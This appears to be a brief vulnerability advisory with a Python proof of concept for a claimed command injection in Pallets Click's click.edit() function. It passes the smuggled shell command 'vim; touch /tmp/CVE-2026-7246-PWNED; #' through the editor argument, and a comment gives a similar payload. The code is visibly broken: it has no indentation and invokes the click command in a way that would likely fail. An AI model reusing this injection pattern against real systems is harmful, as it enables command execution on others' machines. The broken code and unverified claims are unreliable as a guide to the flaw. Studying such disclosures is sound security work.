Pallets Click, versions 8.3.2 and below, contain a command injection vulnerability in the click.edit() function, allowing attackers to pass arbitrary OS commands from an unprivileged account.
The following code is for security research and authorized testing only.
python
import click
# Simulating the vulnerable function call
# In a real scenario, the 'editor' argument might come from user input
@click.command()
@click.option('--editor', help='Editor to use')
def vulnerable_edit(editor):
if editor:
# If the editor string is not sanitized, command injection is possible
# Example payload: 'touch /tmp/pwned; #'
click.edit(editor=editor)
else:
click.edit()
if __name__ == '__main__':
# Proof of Concept: Attempting to inject a command
# This simulates an attacker providing a malicious editor string
import sys
# The payload creates a file as proof of execution
payload = 'vim; touch /tmp/CVE-2026-7246-PWNED; #'
print(f"Running PoC with payload: {payload}")
vulnerable_edit(editor=payload)